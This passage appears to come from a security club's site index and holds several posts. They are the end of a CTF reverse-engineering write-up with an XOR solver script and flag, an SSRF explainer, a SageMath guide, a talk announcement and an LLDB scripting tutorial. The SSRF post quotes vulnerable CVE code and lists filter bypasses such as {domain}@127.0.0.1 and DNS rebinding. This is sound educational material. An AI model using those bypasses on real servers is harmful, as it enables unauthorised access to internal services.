v3[43]; v3[10] ^= v3[44]; v3[11] ^= v3[45]; v3[12] ^= v3[46]; v3[13] ^= v3[47]; v3[14] ^= v3[48]; v3[15] ^= v3[49]; v3[16] ^= v6; v3[17] ^= v3[35]; v3[18] ^= v3[36]; v3[19] ^= v3[37]; v3[20] ^= v3[38]; v3[21] ^= v3[39]; v3[22] ^= v3[40]; v3[23] ^= v3[41]; v3[24] ^= v3[42]; v3[25] ^= v3[43]; v3[26] ^= v3[44]; v3[27] ^= v3[45]; v3[28] ^= v3[46]; v3[29] ^= v3[47]; v3[30] ^= v3[48]; v3[31] ^= v3[49]; v3[32] ^= v6; v3[33] ^= v3[35]; v7 = 0i64; v8 = v3 - byte_140004508; while ( byte_140004508[v7] == byte_140004508[v7 + v8] ) { if ( ++v7 \u0026gt;= 34 ) { v9 = \u0026#34;Nice. Now go get your presents :D\u0026#34;; goto LABEL_10; } } v9 = \u0026#34;Just a few more crunches\u0026#34;; LABEL_10: sub_1400026E0(std::cout, (__int64)v9); *(__int64 *)((char *)var_buf + *(int *)(var_buf[0] + 4)) = (__int64)\u0026amp;std::ifstream::`vftable\u0026#39;; *(int *)((char *)\u0026amp;v10 + *(int *)(var_buf[0] + 4)) = *(_DWORD *)(var_buf[0] + 4) - 176; sub_140002190((__int64)\u0026amp;var_buf[2]); std::istream::~istream\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;\u0026gt;(\u0026amp;var_buf[3]); std::ios::~ios\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;\u0026gt;(\u0026amp;var_buf[22]); result = 0; } else { sub_1400026E0(std::cout, (__int64)\u0026#34;1000 pushups\u0026#34;); result = -1; } return result; } Analysis and solution It is fairly obvious that after \u0026quot;Are you ready for [REDACTED]?\u0026quot; is printed, it will wait on user to provide an input. It will get the first line of the input and see if it is equal to \u0026ldquo;nimic_interesant\u0026rdquo;. Then, it will continue to read 34 bytes from the input stream and store it in Str1. We will call these 34 bytes user_input and \u0026ldquo;nimic_interesant\u0026rdquo; the key from here on.\nrelevant code:\nv4 = sub_1400026E0(std::cout, (__int64)\u0026#34;Are you ready for [REDACTED]?\u0026#34;); // cout \u0026lt;\u0026lt; \u0026#34;Are you ready for [REDACTED]?\u0026#34; std::ostream::operator\u0026lt;\u0026lt;(v4, sub_1400028B0); std::istream::getline(std::cin, Str1, 40i64); // get the first line. if ( !strcmp(Str1, \u0026#34;nimic_interesant\u0026#34;) ) { strcpy_s(v3 + 34, 0x11ui64, Str1); // v3[34]+ nimic_interesant memset(var_buf, 0, sizeof(var_buf)); sub_140002240((__int64)var_buf); // populate the var_buf if ( (*((_BYTE *)\u0026amp;var_buf[2] + *(int *)(var_buf[0] + 4)) \u0026amp; 6) != 0 ) sub_1400026E0(std::cout, (__int64)\u0026#34;50 burpees\u0026#34;); *(_OWORD *)Str1 = 0i64; v13 = 0i64; v14 = 0i64; std::istream::read(var_buf, Str1, 34i64); // get the rest of the input ... } This is followed by a large chunk of xor operations:\nv6 = v3[34]; *v3 ^= v6; v3[1] ^= v3[35]; v3[2] ^= v3[36]; v3[3] ^= v3[37]; v3[4] ^= v3[38]; v3[5] ^= v3[39]; v3[6] ^= v3[40]; v3[7] ^= v3[41]; v3[8] ^= v3[42]; v3[9] ^= v3[43]; v3[10] ^= v3[44]; v3[11] ^= v3[45]; v3[12] ^= v3[46]; v3[13] ^= v3[47]; v3[14] ^= v3[48]; v3[15] ^= v3[49]; v3[16] ^= v6; v3[17] ^= v3[35]; v3[18] ^= v3[36]; v3[19] ^= v3[37]; v3[20] ^= v3[38]; v3[21] ^= v3[39]; v3[22] ^= v3[40]; v3[23] ^= v3[41]; v3[24] ^= v3[42]; v3[25] ^= v3[43]; v3[26] ^= v3[44]; v3[27] ^= v3[45]; v3[28] ^= v3[46]; v3[29] ^= v3[47]; v3[30] ^= v3[48]; v3[31] ^= v3[49]; v3[32] ^= v6; v3[33] ^= v3[35]; v3 is basically a 50 bytes buffer where the first 34 bytes are the user_input and the next 16 bytes are the key. It is essentially doing the following:\nfor i in range (34): user_input[i] = user_input[i] ^ key[i%16] Then, the while block following the xor operations:\nv7 = 0i64; v8 = v3 - byte_140004508; while ( byte_140004508[v7] == byte_140004508[v7 + v8] ) { if ( ++v7 \u0026gt;= 34 ) { v9 = \u0026#34;Nice. Now go get your presents :D\u0026#34;; goto LABEL_10; } } This is using v7 as an index and v8 is the offset from v3 to byte_140004508. In a way, \u0026amp;v3 == \u0026amp;byte_140004508[v8]. Understanding that, we can see it is checking if the first 34 bytes in v3 is the same as the first 34 bytes in byte_140004508. The bytes turned out to be:\n[\u0026#39;0x36\u0026#39;, \u0026#39;0x44\u0026#39;, \u0026#39;0x20\u0026#39;, \u0026#39;0x28\u0026#39;, \u0026#39;0x30\u0026#39;, \u0026#39;0x24\u0026#39;, \u0026#39;0x27\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x3\u0026#39;, \u0026#39;0x3a\u0026#39;, \u0026#39;0xb\u0026#39;, \u0026#39;0xa\u0026#39;, \u0026#39;0x6\u0026#39;, \u0026#39;0x46\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x11\u0026#39;, \u0026#39;0x31\u0026#39;, \u0026#39;0x1b\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x7\u0026#39;, \u0026#39;0x26\u0026#39;, \u0026#39;0x36\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x1b\u0026#39;, \u0026#39;0x17\u0026#39;, \u0026#39;0x2d\u0026#39;, \u0026#39;0xd\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x9\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x14\u0026#39;] So, to get the expected input, we can use the following script\nkey = \u0026#34;nimic_interesant\u0026#34; expectedResult = [\u0026#39;0x36\u0026#39;, \u0026#39;0x44\u0026#39;, \u0026#39;0x20\u0026#39;, \u0026#39;0x28\u0026#39;, \u0026#39;0x30\u0026#39;, \u0026#39;0x24\u0026#39;, \u0026#39;0x27\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x3\u0026#39;, \u0026#39;0x3a\u0026#39;, \u0026#39;0xb\u0026#39;, \u0026#39;0xa\u0026#39;, \u0026#39;0x6\u0026#39;, \u0026#39;0x46\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x11\u0026#39;, \u0026#39;0x31\u0026#39;, \u0026#39;0x1b\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x7\u0026#39;, \u0026#39;0x26\u0026#39;, \u0026#39;0x36\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x1b\u0026#39;, \u0026#39;0x17\u0026#39;, \u0026#39;0x2d\u0026#39;, \u0026#39;0xd\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x9\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x14\u0026#39;] expectedInput = \u0026#34;\u0026#34; for i in range(34): expectedInput += chr(int(expectedResult[i],16) ^ ord(key[i%len(key)])) print (expectedInput) And you will have the flag:\nX-MAS{Now_you're_ready_for_hohoho} ","permalink":"https://nusgreyhats.org/posts/writeups/x-mas-ctf-2021-intensive-training/","summary":"Overview This is a straightforward and classic reverse engineering challenge. It is a windows console application that will validate user input and checks the flag entered. I will go into a bit more details since this is a write up for beginners rather than experienced reverse engineers.\nUnderstanding the target The first step to reverse engineering is figuring out how the target binary is constructed. I don\u0026rsquo;t want to waste our time reversing a packer or .","title":"[X-MAS CTF 2021] Intensive Training"},{"content":"What is Server Side Request Forgery (SSRF)? It is a web security vulnerability that allows an attacker to induce a server side application to make a HTTP request to a domain of the attacker\u0026rsquo;s choosing.\nTypically, the attacker will target the server\u0026rsquo;s internal only services.\nWhy SSRF? SSRF trend Between 2017 to 2021, SSRF have been in the rise and is a new contender in the OWASP top 10.\nSome possible explainations might be the rise of the cloud and microservices architecture.\nA large amount of information today is hosted on the cloud to improve deployment times, high application uptimes as well as autoscaling with technologies such as kubernetes.\nWith the microservices architecture, big services are split up into multiple smaller microservices where each microservice is used to maintain one function of the larger services. The microservices usually communicate with each other over HTTP or other lightweight protocols.\nThis microservices architecture provides a large surface for the attacker to attempt to exploit SSRF. Any single vulnerable service will allow the attacker to access multiple microservices. With more services communicating with each other, the attacker will have a higher chance of finding a more impactful exploit.\nGeneral Impact The impact of SSRF is generally an attack on the server itself or other internal services that can be accessed from the server.\nHow does SSRF work? SSRF Although the attacker is unable to access the internal services directly, the attacker can still reach the other internal services through the vulnerable web servers.\nIn the diagram above, the attacker sends a malicious packet to the server to induce the server to make a request to other internal services (Either 1 or 2).\nThis usually occurs due to the lack of sanitization of user input especially when it comes to URLs. For example, if there is a web service that allows other users to convert a webpage into a PDF, the attacker can send the ip address of an internal service to view what is available on the other internal services.\nAn example of such a scenerio is CVE-2020-7740 which affects all versions of node-pdf-generator.\nIn this case, there is no sanitization of the user\u0026rsquo;s url before generating the PDF.\nfunction acceptHtmlAndProvidePdf(request, response) { console.log(\u0026#39;Request received: \u0026#39; + request); request.content = \u0026#39;\u0026#39;; request.addListener(\u0026#34;data\u0026#34;, function (chunk) { if (chunk) { request.content += chunk; } // Lack of checks here }); request.addListener(\u0026#34;end\u0026#34;, function () { var options = { encoding: \u0026#39;utf-8\u0026#39;, pageSize: request.headers[\u0026#39;x-page-size\u0026#39;] || \u0026#39;Letter\u0026#39; }; response.writeHead(200, { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/pdf\u0026#39; }); htmlToPdf(request.content, options) .pipe(response); console.log(\u0026#39;Processed HTML to PDF: \u0026#39; + response); }); } This allows the attacker to forge a server request as the script fetches the information from the webpage to convert to PDF.\nWhat is the impact of SSRF The impact of SSRF can widely vary depending on different circumstances.\nDenial of Service Remote Code execution Bypassing access control Port Scanning: Reqeusts can be made to different ports and the resulting status code or result shown on the frontend allows the attacker to infer if the port is open Other internal services (Details on the attacks are given in the references below) Redis: If Redis uses a text based protocol (RESP), the attacker can send a payload with the correct format and send commands to the redis server. Cloud metadata: Metadata API base url can be given to the vulnerable server to retrieve information about the server. Types of SSRF There are mainly 3 different types of SSRF vulnerabilities.\nBasic SSRF: The result is returned to the frontend and can be seen by the user. Blind SSRF: The result of the attack is not returned to the frontend. Semi-Blind SSRF: The attacker only knows if the payload was successful or not. No details are given. Comparison between Different Types of SSRF Criteria Basic SSRF Blind SSRF Semi-Blind SSRF Can the attacker directly view the page Yes No No Difficulty of exploitation (In general) Lower Higher Medium Example of a Basic SSRF An example of a basic SSRF exploit can be found here\nIn this example, the exposed service is running a PDF generation service. It takes in a URL from the user without sanitization and generates a PDF based on the link that it receives.\nWithin the same local environment, there is also another service that is running on localhost:5001 that contains a web server that is only accessible internally.\nBy passing the url of this internal service into the PDF generation service, the attacker can generate a PDF of the webpage that is hosted on the internal service.\nExample of a Blind SSRF An example of a blind SSRF exploit can be found here\nIn this example, the exposed service is a reporting server where users report suspicious attacks to the administrator.\nThe server automatically goes to the website and take a screenshot of the website before generating a markdown file for the admin to view.\nWhich this may seem like a good idea, a request from the server is forged in the process of taking the screenshot.\nAlthough this is harder to exploit compared to the basic SSRF, it can still lead to remote code execution under correct circumstances.\nMitigations for SSRF Input validation (Sanitization) for URLs given by the user. This can be in the form of a whitelist or a blacklist (There is a different list of caveats for blacklists) Verification that IP / Domain is not an internal IP address / invalid address. Do not accept complete URLs from users. Firewall filters to prevent access of unauthorised domains Bypasses for Mitigations However, for each the mitigations, there might be some bypasses which can be used to reduce the effectiveness of the mitigations.\nUsage of malformed URLs {domain}@127.0.0.1 or 127.0.1 all redirects to localhost. There are multiple encodings of this url. Similar methods can be used for other urls. DNS rebinding The attacker can register a domain and point it to a non-blacklisted website. After the server checks that the domain is valid, the attacker can change it to point to an internal ip address. When the server visits the domain again, the server will visit the internal ip address. More information can be found below Open Redirect If there is another open redirection on the page, the open redirection can be used to bypass restrictions on the webpage. Bypass via Redirection There might be filtering when it comes to a URL. This can be used to bypass url filters by registering a valid url which bypasses the various types of filtering. SSRF via Referrer header Sometimes web applications make use of server side analytics software that tracks visitors. These software logs the referrer header in the request and actually visit the websites to analyze the contents of referrer sites. References Port Swigger OWASP Top 10 Wallarm Attacking Redis Through SSRF SSRF Exposes data of technology From SSRF to port scanner Hacktricks - SSRF Bypasses SSRF Bypass Cheatsheet SSRF DNS Rebinding SSRF Bypass techniques ","permalink":"https://nusgreyhats.org/posts/writeups/ssrf/","summary":"What is Server Side Request Forgery (SSRF)? It is a web security vulnerability that allows an attacker to induce a server side application to make a HTTP request to a domain of the attacker\u0026rsquo;s choosing.\nTypically, the attacker will target the server\u0026rsquo;s internal only services.\nWhy SSRF? SSRF trend Between 2017 to 2021, SSRF have been in the rise and is a new contender in the OWASP top 10.\nSome possible explainations might be the rise of the cloud and microservices architecture.","title":"Server Side Request Forgery"},{"content":"SageMath Installation Windows : https://www.sagemath.org/download-windows.html\nMac : https://www.sagemath.org/download-mac.html\nLinux : https://www.sagemath.org/download-linux.html\nAs the whole package is around 10GB, it takes quite some time to install the whole package.\nRunning Sage IDE After the installation, run sagemath in terminal by typing sage\n$ sage ┌────────────────────────────────────────────────────────────────────┐ │ SageMath version 9.4, Release Date: 2021-08-22 │ │ Using Python 3.9.5. Type \u0026#34;help()\u0026#34; for help. │ └────────────────────────────────────────────────────────────────────┘ sage: Color Scheme You can change the color scheme by typing the command\nsage: %colors Linux Valid schemes: ['NoColor', 'Linux', 'LightBG', 'Neutral', '']\nI find the Linux color scheme most suitable dark background terminal.\nRunning Sage from file You can run a sage file from the terminal with\n$ sage test.sage\nOr a python file with\nIn the python file, import sage by\nfrom sage.all import * ... Then run it with this command\n$ sage -python test.py\nSageMath syntax Althought SageMath uses syntax very identical to python, there are still some subtle difference between them.\nThe official documentation often uses syntax that is supported only in .sage file.\nCommon syntax difference\nBehavior Sage Python Exponent ^ ** XOR ^^ ^ Polynomial R.\u0026lt;x\u0026gt; = QQ[] QQ['x'] Multivariable Polynomial R.\u0026lt;x,y,z\u0026gt; = QQ[] QQ['x','y','z'] Most of the syntax are supported in both files\nThe best part of SageMath is that it provides simple syntax for many complex mathematical operations.\nRing and Field First, one must identify these symbols\nSymbol Meaning Type ZZ Integers Ring QQ Rational Numbers Field RR Real Numbers Field CC Complex Numbers Field Zmod(N) Integer Modulo N Ring GF(N) Finite Field of size N Field Note that for GF(N) the N must be $p^a$ where p is a prime.\nThe main differences between a ring and a field is\nNot all non-zero element in a Ring has an inverse. Ring might has zero divisor. Take integer modulo 6 ring as an example\nThe number 3 does not have inverse. There is no such number $a$ such that $3 \\cdot a \\equiv 1 \\mod 6$ The number 3 and 2 is a zero divisor. $3 \\cdot 2 \\equiv 0 \\mod 6$ You need to be very careful for the choice of your Ring/Field as some functions are only valid for field but not for ring.\nIn general, field are easier to work with as it has more properties. Most of the function that works for ring will work for field.\nTherefore, if you are dealing with integer modulo a prime number, you should use GF(p) instead of Zmod(p)\nOnce you convert a number to GF(p) or Zmod(p), you don\u0026rsquo;t have to keep applying % operator as the modulo operation will already be done automatically.\nsage: a = 63283 sage: b = 45342 sage: a = GF(17)(a) sage: b = GF(17)(b) sage: a + b 12 sage: a / b 3 sage: a^-1 2 sage: a^30 4 Operation +, -, *, ^ are well defined for Rings and Field.\nOpeartion / can be use if the element has an inverse\nFactor a number with the factor() function\nsage: a = 63283 sage: a.factor() 11^2 * 523 Polynomial Univariate Polynomial Recall the syntax to declare a polynomial is R.\u0026lt;x\u0026gt; = QQ[]\nR represents the Polynomial Ring\nx represents the variable\nQQ represents the ring for the coefficient of the polynomial.\nLet\u0026rsquo;s say you want to declare a polynomial such that the coefficient can only be an integer.\nThen it will be R.\u0026lt;x\u0026gt; = ZZ[]\nsage: R.\u0026lt;x\u0026gt; = ZZ[] sage: f = 1*x + 2*x^2 + 3*x^3 sage: g = 3*x + 10*x^2 You can use +, -, *, /, ^ for polynomials as usual\nsage: f-g 3*x^3 - 8*x^2 - 2*x sage: f*g 30*x^5 + 29*x^4 + 16*x^3 + 3*x^2 sage: f/g (3*x^2 + 2*x + 1)/(10*x + 3) sage: g^3 1000*x^6 + 900*x^5 + 270*x^4 + 27*x^3 Factor the polynomiak with factor()\nsage: f.factor() x * (3*x^2 + 2*x + 1) To apply some value to the polynomial, use the syntax f(x = 2) or f(2)\nsage: f(2) 34 sage: f(x=2) 34 To extract the coefficient of the polynomial, use list() function\nsage: g.list() [0, 3, 10] To get the roots of a polynomial, use roots() function\nf.roots() Note : This function is only defined for univariate polynomial in integer Ring or Field.\nMultivariate Polynomial Declaring the polynomial by R.\u0026lt;x,y\u0026gt; = QQ[]\nOperation +, -, *, /, ^ are well defined as usual\nsage: R.\u0026lt;x,y\u0026gt; = QQ[] sage: f = x + y + x*y sage: g = x^2 + y^2 sage: f + g x^2 + x*y + y^2 + x + y sage: f ^ -1 * g (x^2 + y^2)/(x*y + x + y) You can use f(x = 2, y = 3) to apply some value to the polynomial\nsage: f(x=3,y=5) 23 There are 2 ways that I use to solve system of equations\nResultant If the underlying ring for the polynomial is either integer ring or field, then you can use resultant to solve system of linear equations.\nsage: R.\u0026lt;x,y\u0026gt; = QQ[] sage: f = x + y + x*y sage: g = x^2 + y^2 sage: k = f.resultant(g, x) sage: k y^4 + 2*y^3 + 2*y^2 As roots() are only definied for univariate polynomial, we must change k to a univariate polynomial first.\nsage: k = k(x = 0) sage: k = k.univariate_polynomial() sage: k.roots() [(0, 2)] Groebner basis Groebner basis is much slower and less consistent. It might not find a solution for certain equations.\nBut as it works on any ring, sometimes we have no choice to use it especially when we are dealing with the ring of Integer modulo n.\nsage: R.\u0026lt;x,y\u0026gt; = Zmod(30)[] sage: f = x + y + 3 sage: g = 3 * x + y + 10 sage: I = Ideal([f,g]) sage: I.groebner_basis() [x + 26, y + 7, 15] Matrix You can declare a matrix by :\nsage: Matrix(ZZ, [[2,2,3],[4,2,5],[3,3,3]]) [2 2 3] [4 2 5] [3 3 3] sage: Matrix(GF(2), [[2,2,3],[4,2,5],[3,3,3]]) [0 0 1] [0 0 1] [1 1 1] The first parameter represents the underlying field for the entries of the matrix.\nAccess the entries of the matrix with the natural way\nsage: A = Matrix(ZZ, [[2,2,3],[4,2,5],[3,3,3]]) sage: A[2][1] 3 Operation +, -, *, ^ are well defined for a matrix\nOperation / is valid if the matrix is invertible\nOther functions for matrix includes :\nsage: A.rref() [1 0 0] [0 1 0] [0 0 1] sage: A.kernel() Free module of degree 3 and rank 0 over Integer Ring Echelon basis matrix: [] sage: A.charpoly() x^3 - 7*x^2 - 16*x - 6 Discrete Logarithm As long as you are dealing with a finite group, you can always use discrete_log() to find discrete logarithm.\nsage: a = GF(23)(10) sage: b = a^13 sage: discrete_log(b,a) 13 sage: K = GF(3^6,\u0026#39;x\u0026#39;) sage: x = K.gen() sage: a = x^3 + 3*x^2 + 2 sage: discrete_log(a, x) 299 sage: a = Matrix(GF(7), [[2,2,3],[4,2,5],[3,3,3]]) sage: b = a^3 sage: discrete_log(b,a) 3 Others There are other useful functions in SageMath such as\nChinese Remainder Theorem Find multiplicative order Dealing with elliptic curve You can learn how to use them by referring to the official documentation\n","permalink":"https://nusgreyhats.org/posts/guides/sage_note/","summary":"SageMath Installation Windows : https://www.sagemath.org/download-windows.html\nMac : https://www.sagemath.org/download-mac.html\nLinux : https://www.sagemath.org/download-linux.html\nAs the whole package is around 10GB, it takes quite some time to install the whole package.\nRunning Sage IDE After the installation, run sagemath in terminal by typing sage\n$ sage ┌────────────────────────────────────────────────────────────────────┐ │ SageMath version 9.4, Release Date: 2021-08-22 │ │ Using Python 3.9.5. Type \u0026#34;help()\u0026#34; for help. │ └────────────────────────────────────────────────────────────────────┘ sage: Color Scheme You can change the color scheme by typing the command","title":"SageMath guide"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAsduygpjsvEtKjXX3Wdid5-jBLVkt1mRMw\nTalk: 7:00pm-7:45pm Title: Source Engine code auditing adventure\nDescription In this talk I will talk about the Source Engine, the leaked codebase and how I audited it to find vulnerabilities. This also acts as a case study on how real life code bases are audited.\nRequirements The participants should have basic knowledge on C/C++, basic knowledge on x86 memory exploitation techniques, and how exploit mitigations (NX, ASLR, Stack Canaries) work.\nSpeaker Bio I\u0026rsquo;m Bien Pham, an offensive security engineer from the Sea Security Team. I\u0026rsquo;m known for finding vulnerabilities in Valve Corporation\u0026rsquo;s games, for instance, the Counter-Strike series. I also play CTFs, mostly handling pwn challenges.\nTalk: 7:45pm-8:30pm Title: SecWed Mini CTF\nDescription To end off Security Wednesdays for this semester, We will be having a mini CTF session where the participants will get time to try out different challenges.\nNearer to the end of the session, we will be going through the answers for each of the CTF challenges.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw0311/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAsduygpjsvEtKjXX3Wdid5-jBLVkt1mRMw\nTalk: 7:00pm-7:45pm Title: Source Engine code auditing adventure\nDescription In this talk I will talk about the Source Engine, the leaked codebase and how I audited it to find vulnerabilities. This also acts as a case study on how real life code bases are audited.\nRequirements The participants should have basic knowledge on C/C++, basic knowledge on x86 memory exploitation techniques, and how exploit mitigations (NX, ASLR, Stack Canaries) work.","title":"SecWed #031121"},{"content":"During my internship, I reverse engineer macOS programs. So, I need a debugger.\nI am quite familiar with GDB, and there are nice extensions like GEF out there. However, Apple made it so difficult to compile a usable GDB on macOS\u0026hellip; 😑 We are pretty much forced to use LLDB (which I really don\u0026rsquo;t like).\nAnyways, beggars can\u0026rsquo;t be choosers, and vanilla GDB/LLDB is not really usable in the long run, so being able to use the scripting interface is very important. Similar to GDB, LLDB also has a Python scripting interface. Instead of .gdbinit, LLDB loads commands from .lldbinit during startup. There is a great lldbinit project that contains many custom commands which makes LLDB so much nicer to use, and I have a fork of it.\n(It is such a pain to even set breakpoints, vanilla LLDB is just not usable imo.)\nLLDB Architecture and Python Bindings Having the lldbinit extension is good. Being able to add my own custom commands is even better. To do so, I had to understand the architecture of the scripting interface.\nThe LLDB scripting interface is quite tidy. Everything is grouped into modules. Quoting the docs, here are less than half of the modules:\nSBAddress A section + offset based address class. SBBreakpoint Represents a logical breakpoint and its associated settings. SBBreakpointList Proxy of C++ lldb::SBBreakpointList class SBBreakpointLocation Represents one unique instance (by address) of a logical breakpoint. SBCommandInterpreter SBCommandInterpreter handles/interprets commands for lldb. SBCommandReturnObject Represents a container which holds the result from command execution. Feels like writing C++ but in Python. And the basic architecture is as follows:\nLLDB design: ------------| lldb -\u0026gt; debugger -\u0026gt; target -\u0026gt; process -\u0026gt; thread -\u0026gt; frame(s) -\u0026gt; thread -\u0026gt; frame(s) LLDB talks to the debugger object debugger holds a target target holds a process process holds multiple threads and lastly, each thread has one or more frames With more details (quoting the docs):\nSBTarget: Represents the target program running under the debugger. Gives information about the executable, process, modules, memory, breakpoints, etc There\u0026rsquo;s a lot, check the docs SBProcess: Represents the process associated with the target program. Gives information about the process, memory Some overlap with the above, but this one doesn\u0026rsquo;t have modules nor breakpoints Check the docs SBThread: Represents a thread of execution. Gives information about a thread, e.g. thread ID Exposes functions for stepping (step in, step over, etc) and suspending/resuming Contains stack frame(s) (according to docs, it is possible to have more than 1, but I always see just 1) Check out the docs SBFrame: Represents one of the stack frames associated with a thread. Gives information about a stack frame, e.g. registers, functions, symbols, disassembly, etc This is a really useful module because of the information it gives. Check out the docs Now, some useful functions to access the objects mentioned above (defined by lldbinit):\nSBTarget - get_target() SBProcess - get_process() SBThread - get_thread() SBFrame - get_frame() Yea, quite easy.\nCreate Custom Commands To define a new command, it is as simple as creating a function in lldbinit.py. For example, to create a command called newcmd:\ndef cmd_newcmd(debugger, command, result, _dict): args = command.split(\u0026#39; \u0026#39;) if len(args) \u0026lt; 1: print(\u0026#39;newcmd \u0026lt;expression\u0026gt;\u0026#39;) return ... Then, the function must be registered as a command in the __lldb_init_module method:\ndef __lldb_init_module(debugger, internal_dict): ... ci.HandleCommand(\u0026#34;command script add -f lldbinit.cmd_newcmd newcmd\u0026#34;, res) ... The function name can be anything, but by convention all command functions in lldbinit go by cmd_\u0026lt;command name\u0026gt;.\nThe function arguments result and _dict might be useful but I don\u0026rsquo;t use them. debugger is the LLDB debugger object mentioned earlier, and command is the exact command string entered by the user.\nWe can use the API listed above to obtain information about the target/process/thread/frame, or perform actions such as setting breakpoints, stepping through instructions, etc.\nExample 1: Reading Memory Here\u0026rsquo;s a simple command I wrote to print unicode strings from memory (similar to x/s but printing unicode strings).\ndef cmd_xu(debugger, command, result, _dict): args = command.split(\u0026#39; \u0026#39;) if len(args) \u0026lt; 1: print(\u0026#39;xu \u0026lt;expression\u0026gt;\u0026#39;) return addr = int(get_frame().EvaluateExpression(args[0]).GetValue(), 10) error = lldb.SBError() ended = False s = u\u0026#39;\u0026#39; offset = 0 while not ended: mem = get_target().GetProcess().ReadMemory(addr + offset, 100, error) for i in range(0, 100, 2): wc = mem[i+1] \u0026lt;\u0026lt; 8 | mem[i] s += chr(wc) if wc == 0: ended = True break offset += 100 print(s) Example 2: Alias It is also possible to make aliases for long commands. For example, an alias for disabling breakpoints, through the SBCommandInterpreter object obtained via the debugger.GetCommandInterpreter() method.\n# disable breakpoint number def cmd_bpd(debugger, command, result, dict): res = lldb.SBCommandReturnObject() debugger.GetCommandInterpreter().HandleCommand(\u0026#34;breakpoint disable \u0026#34; + command, res) print(res.GetOutput()) Example 3: Function Tracing Lastly, here is an example of a more complicated command I wrote to get the list of functions called by the target. This is useful when I am attaching LLDB to Safari, and want to know the functions in a library that were called by Safari when loading a webpage.\nFor example, to see the functions in CoreGraphics called when browsing Wikipedia:\n(lldbinit) cz CoreGraphics [+] Creating breakpoints for all symbols in CoreGraphics [+] Done creating breakpoints for all symbols in CoreGraphics 0x7fff2505d324: | CoreGraphics CGColorSpaceUsesExtendedRange |__ WebKit WebKit::ShareableBitmap::calculateBytesPerRow(WebCore::IntSize, WebKit::ShareableBitmap::Configuration const\u0026amp;) 0x7fff2504a997: | CoreGraphics CGColorSpaceGetNumberOfComponents |__ QuartzCore CABackingStorePrepareUpdates_(CABackingStore*, unsigned long, unsigned long, unsigned int, unsigned int, unsigned int, unsigned long long, CA::GenericContext*, UpdateState*) 0x7fff250496fc: | CoreGraphics CGColorSpaceRetain |__ QuartzCore CA::CG::IOSurfaceDrawable::IOSurfaceDrawable(__IOSurface*, unsigned int, unsigned int, CGColorSpace*, int, int, unsigned int, unsigned int) 0x7fff2549cd24: | CoreGraphics CFRetain |__ CoreGraphics CGColorSpaceRetain 0x7fff2504971c: | CoreGraphics cs_retain_count |__ CoreFoundation _CFRetain 0x7fff2504e3d8: | CoreGraphics CGColorSpaceRelease |__ QuartzCore CABackingStorePrepareUpdates_(CABackingStore*, unsigned long, unsigned long, unsigned int, unsigned int, unsigned int, unsigned long long, CA::GenericContext*, UpdateState*) 0x7fff2505fdd1: | CoreGraphics CGSNewEmptyRegion |__ QuartzCore CABackingStorePrepareUpdates_(CABackingStore*, unsigned long, unsigned long, unsigned int, unsigned int, unsigned int, unsigned long long, CA::GenericContext*, UpdateState*) ... def cmd_cz(debugger, command, result, _dict): args = command.split(\u0026#39; \u0026#39;) if len(args) \u0026lt; 1: print(\u0026#39;cov \u0026lt;module name\u0026gt;\u0026#39;) return module_name = args[0] target = debugger.GetSelectedTarget() module = find_module_by_name(get_target(), module_name) # to keep track of the breakpoints set bpmap = {} print(\u0026#34;[+] Creating breakpoints for all symbols in\u0026#34;, module_name) for symbol in module: sym_name = symbol.GetName() if sym_name.startswith(\u0026#34;os\u0026#34;) or \u0026#34;pthread\u0026#34; in sym_name or \u0026#34;lock\u0026#34; in sym_name or \u0026#34;operator\u0026#34; in sym_name: continue address = symbol.GetStartAddress().GetLoadAddress(target) bp = target.BreakpointCreateByAddress(address) bpmap[address] = bp print(\u0026#34;[+] Done creating breakpoints for all symbols in\u0026#34;, module_name) visited = [] while True: get_process().Continue() thread = get_thread() rip = int(str(get_frame().reg[\u0026#34;rip\u0026#34;].value), 16) if rip in visited: continue if rip not in bpmap.keys(): print(\u0026#34;[+] Dead\u0026#34;) # crashed or something break # disable breakpoint after reaching it one time bpmap[rip].SetEnabled(False) print(hex(rip) + \u0026#34;:\u0026#34;) for i in range(2): frame = thread.GetFrameAtIndex(i) symbol = frame.GetSymbol() module = frame.GetModule().GetFileSpec().GetFilename() print(\u0026#34;|\u0026#34; + \u0026#34;__\u0026#34; * i, module, symbol.GetName()) In this example, I created a breakpoint using target.BreakpointCreateByAddress(address), by using the SBSymbol methods to get a function\u0026rsquo;s address in the process. I also used the lldbinit helper function find_module_by_name to get a SBModule object given a module name.\nThere were more unmentioned API calls used by this command, read the code to learn more if you are interested.\nThat\u0026rsquo;s all. Hope you find this useful :D\nReferences:\nLLDB docs lldbinit fork of peter\u0026rsquo;s fork of gdbinit\u0026rsquo;s fork of deroko\u0026rsquo;s ","permalink":"https://nusgreyhats.org/posts/writeups/basic-lldb-scripting/","summary":"During my internship, I reverse engineer macOS programs. So, I need a debugger.\nI am quite familiar with GDB, and there are nice extensions like GEF out there. However, Apple made it so difficult to compile a usable GDB on macOS\u0026hellip; 😑 We are pretty much forced to use LLDB (which I really don\u0026rsquo;t like).\nAnyways, beggars can\u0026rsquo;t be choosers, and vanilla GDB/LLDB is not really usable in the long run, so being able to use the scripting interface is very important.","title":"Basic LLDB Scripting"},{"content":"Zoom Link: 